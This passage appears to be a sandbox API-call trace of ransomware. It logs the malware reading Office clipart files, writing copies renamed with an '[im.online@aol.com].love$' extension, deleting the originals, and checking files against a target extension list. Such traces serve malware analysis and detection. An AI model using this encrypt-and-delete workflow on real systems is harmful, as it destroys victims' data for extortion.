files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0232.889] GetLastError () returned 0x0 [0232.889] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1eb6, lpOverlapped=0x0) returned 1 [0233.164] WriteFile (in: hFile=0x480, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1ec0, lpOverlapped=0x0) returned 1 [0233.166] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.166] WriteFile (in: hFile=0x480, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.166] SetEndOfFile (hFile=0x480) returned 1 [0233.867] CloseHandle (hObject=0x480) returned 1 [0233.895] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.896] SetEndOfFile (hFile=0x488) returned 1 [0233.899] CloseHandle (hObject=0x488) returned 1 [0233.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0233.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0233.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0233.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0233.900] lstrlenW (lpString=".doc") returned 4 [0233.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.901] lstrlenW (lpString=".docx") returned 5 [0233.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.901] lstrlenW (lpString=".pdf") returned 4 [0233.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.901] lstrlenW (lpString=".xls") returned 4 [0233.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.901] lstrlenW (lpString=".xlsx") returned 5 [0233.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.901] lstrlenW (lpString=".ppt") returned 4 [0233.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0233.901] lstrlenW (lpString=".zip") returned 4 [0233.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.901] lstrlenW (lpString=".rar") returned 4 [0233.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.901] lstrlenW (lpString=".bz2") returned 4 [0233.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.901] lstrlenW (lpString=".7z") returned 3 [0233.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0233.901] lstrlenW (lpString=".dbf") returned 4 [0233.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0233.901] lstrlenW (lpString=".1cd") returned 4 [0233.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0233.901] lstrlenW (lpString=".jpg") returned 4 [0233.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0233.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0233.902] lstrlenW (lpString=".doc") returned 4 [0233.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.902] lstrlenW (lpString=".docx") returned 5 [0233.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.902] lstrlenW (lpString=".pdf") returned 4 [0233.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.902] lstrlenW (lpString=".xls") returned 4 [0233.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.902] lstrlenW (lpString=".xlsx") returned 5 [0233.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.902] lstrlenW (lpString=".ppt") returned 4 [0233.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0233.902] lstrlenW (lpString=".zip") returned 4 [0233.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.902] lstrlenW (lpString=".rar") returned 4 [0233.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.902] lstrlenW (lpString=".bz2") returned 4 [0233.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.902] lstrlenW (lpString=".7z") returned 3 [0233.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0233.903] lstrlenW (lpString=".dbf") returned 4 [0233.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0233.903] lstrlenW (lpString=".1cd") returned 4 [0233.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0233.903] lstrlenW (lpString=".jpg") returned 4 [0233.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.903] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0233.903] lstrlenW (lpString="BL00152_.WMF") returned 12 [0233.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0233.904] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1516) returned 1 [0233.904] CloseHandle (hObject=0x488) returned 1 [0233.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0233.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0233.905] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.905] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0233.906] GetLastError () returned 0x0 [0233.906] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x5ec, lpOverlapped=0x0) returned 1 [0233.908] WriteFile (in: hFile=0x4c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5f0, lpOverlapped=0x0) returned 1 [0233.909] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.909] WriteFile (in: hFile=0x4c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.910] SetEndOfFile (hFile=0x4c0) returned 1 [0233.910] CloseHandle (hObject=0x4c0) returned 1 [0233.910] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.910] SetEndOfFile (hFile=0x488) returned 1 [0233.913] CloseHandle (hObject=0x488) returned 1 [0233.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0233.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0233.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0233.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0233.915] lstrlenW (lpString=".doc") returned 4 [0233.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.915] lstrlenW (lpString=".docx") returned 5 [0233.915] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.915] lstrlenW (lpString=".pdf") returned 4 [0233.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.915] lstrlenW (lpString=".xls") returned 4 [0233.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.915] lstrlenW (lpString=".xlsx") returned 5 [0233.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.915] lstrlenW (lpString=".ppt") returned 4 [0233.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0233.916] lstrlenW (lpString=".zip") returned 4 [0233.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.916] lstrlenW (lpString=".rar") returned 4 [0233.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.916] lstrlenW (lpString=".bz2") returned 4 [0233.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.916] lstrlenW (lpString=".7z") returned 3 [0233.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0233.916] lstrlenW (lpString=".dbf") returned 4 [0233.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0233.916] lstrlenW (lpString=".1cd") returned 4 [0233.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0233.916] lstrlenW (lpString=".jpg") returned 4 [0233.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0233.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0233.916] lstrlenW (lpString=".doc") returned 4 [0233.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.916] lstrlenW (lpString=".docx") returned 5 [0233.916] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.916] lstrlenW (lpString=".pdf") returned 4 [0233.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.917] lstrlenW (lpString=".xls") returned 4 [0233.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.917] lstrlenW (lpString=".xlsx") returned 5 [0233.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.917] lstrlenW (lpString=".ppt") returned 4 [0233.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0233.917] lstrlenW (lpString=".zip") returned 4 [0233.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.917] lstrlenW (lpString=".rar") returned 4 [0233.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.917] lstrlenW (lpString=".bz2") returned 4 [0233.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.917] lstrlenW (lpString=".7z") returned 3 [0233.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0233.917] lstrlenW (lpString=".dbf") returned 4 [0233.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0233.917] lstrlenW (lpString=".1cd") returned 4 [0233.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0233.917] lstrlenW (lpString=".jpg") returned 4 [0233.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.918] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0233.918] lstrlenW (lpString="BL00194_.WMF") returned 12 [0233.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0233.918] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3986) returned 1 [0233.918] CloseHandle (hObject=0x488) returned 1 [0233.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220 [0233.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0233.919] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.919] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0233.920] GetLastError () returned 0x0 [0233.920] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xf92, lpOverlapped=0x0) returned 1 [0233.923] WriteFile (in: hFile=0x4c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0233.924] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.924] WriteFile (in: hFile=0x4c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.924] SetEndOfFile (hFile=0x4c0) returned 1 [0233.925] CloseHandle (hObject=0x4c0) returned 1 [0233.925] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.925] SetEndOfFile (hFile=0x488) returned 1 [0233.929] CloseHandle (hObject=0x488) returned 1 [0233.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0233.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0233.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0233.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0233.931] lstrlenW (lpString=".doc") returned 4 [0233.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.931] lstrlenW (lpString=".docx") returned 5 [0233.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.931] lstrlenW (lpString=".pdf") returned 4 [0233.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.931] lstrlenW (lpString=".xls") returned 4 [0233.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.931] lstrlenW (lpString=".xlsx") returned 5 [0233.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.931] lstrlenW (lpString=".ppt") returned 4 [0233.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0233.931] lstrlenW (lpString=".zip") returned 4 [0233.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.931] lstrlenW (lpString=".rar") returned 4 [0233.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.931] lstrlenW (lpString=".bz2") returned 4 [0233.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.931] lstrlenW (lpString=".7z") returned 3 [0233.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0233.931] lstrlenW (lpString=".dbf") returned 4 [0233.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0233.931] lstrlenW (lpString=".1cd") returned 4 [0233.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0233.932] lstrlenW (lpString=".jpg") returned 4 [0233.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0233.932] lstrlenW (lpString=".doc") returned 4 [0233.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString=".docx") returned 5 [0233.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.932] lstrlenW (lpString=".pdf") returned 4 [0233.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString=".xls") returned 4 [0233.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.932] lstrlenW (lpString=".xlsx") returned 5 [0233.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.932] lstrlenW (lpString=".ppt") returned 4 [0233.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0233.932] lstrlenW (lpString=".zip") returned 4 [0233.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.932] lstrlenW (lpString=".rar") returned 4 [0233.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString=".bz2") returned 4 [0233.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString=".7z") returned 3 [0233.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0233.933] lstrlenW (lpString=".dbf") returned 4 [0233.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0233.933] lstrlenW (lpString=".1cd") returned 4 [0233.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0233.933] lstrlenW (lpString=".jpg") returned 4 [0233.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.933] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0233.933] lstrlenW (lpString="BL00195_.WMF") returned 12 [0233.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0233.934] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=8070) returned 1 [0233.934] CloseHandle (hObject=0x488) returned 1 [0233.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220 [0233.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0233.936] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.936] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0233.937] GetLastError () returned 0x0 [0233.937] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, 